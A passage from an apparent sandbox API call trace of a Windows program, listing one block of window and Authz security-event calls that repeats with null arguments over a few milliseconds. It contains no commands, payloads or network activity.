nIDDlgItem=5) returned 0x0 [0025.702] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.702] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.702] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.702] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.702] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.702] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.702] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.702] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.702] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.702] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.702] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.702] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.702] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.702] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.702] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.702] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.702] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.702] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.702] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.702] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.702] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.702] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.702] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.702] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.702] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.702] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.702] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.702] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.702] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.702] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.702] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.703] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.703] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.703] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.703] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.703] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.703] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.703] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.703] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.703] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.703] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.703] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.703] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.703] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.703] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.703] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.703] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.703] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.703] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.703] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.703] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.703] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.703] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.703] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.703] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.703] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.703] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.703] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.703] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.703] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.703] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.703] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.703] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.704] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.704] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.704] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.704] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.704] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.704] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.704] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.704] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.704] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.704] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.704] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.704] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.704] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.704] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.704] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.704] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.704] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.704] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.704] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.704] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.704] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.704] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.704] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.704] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.704] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.704] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.704] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.704] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.704] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.704] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.704] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.704] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.704] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.704] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.704] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.704] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.704] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.704] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.704] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.704] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.704] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.704] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.705] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.705] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.705] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.705] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.705] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.705] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.705] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.705] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.705] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.705] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.705] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.705] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.705] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.705] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.705] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.705] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.705] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.705] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.705] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.705] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.705] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.705] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.705] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.705] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.705] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.705] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.705] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.705] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.705] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.705] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.705] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.705] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.705] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.705] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.705] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.705] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.705] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.705] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.705] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.705] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.705] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.706] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.706] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.706] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.706] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.706] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.706] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.706] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.706] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.706] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.706] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.706] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.706] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.706] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.706] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.706] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.706] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.706] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.706] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.706] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.706] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.706] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.706] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.706] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.706] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.706] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.706] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.706] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.706] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.706] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.706] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.706] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.706] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.706] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.706] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.706] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.706] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.706] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.706] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.706] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.706] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.706] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.707] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.707] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.707] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.707] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.707] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.707] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.707] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.707] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.707] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.707] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.707] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.707] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.707] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.707] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.707] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.707] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.707] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.707] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.707] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.707] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.707] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.707] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.707] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.707] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.707] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.707] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.707] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.707] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.707] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.707] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.707] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.707] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.707] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.707] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.707] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.707] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.707] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.707] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.707] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.707] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.707] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.707] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.708] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.708] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.708] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.708] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.708] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.708] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.708] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.708] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.708] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.708] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.708] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.708] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.708] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.708] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.708] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.708] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.708] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.708] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.708] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.708] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.708] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.708] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.708] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.708] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.708] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.708] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.708] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.708] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.708] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.708] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.708] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.708] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.708] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.708] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.708] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.708] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.708] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.708] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.708] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.708] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.708] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.708] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.709] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.709] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.709] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.709] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.709] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.709] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.709] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.709] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.709] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.709] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.709] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.709] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, 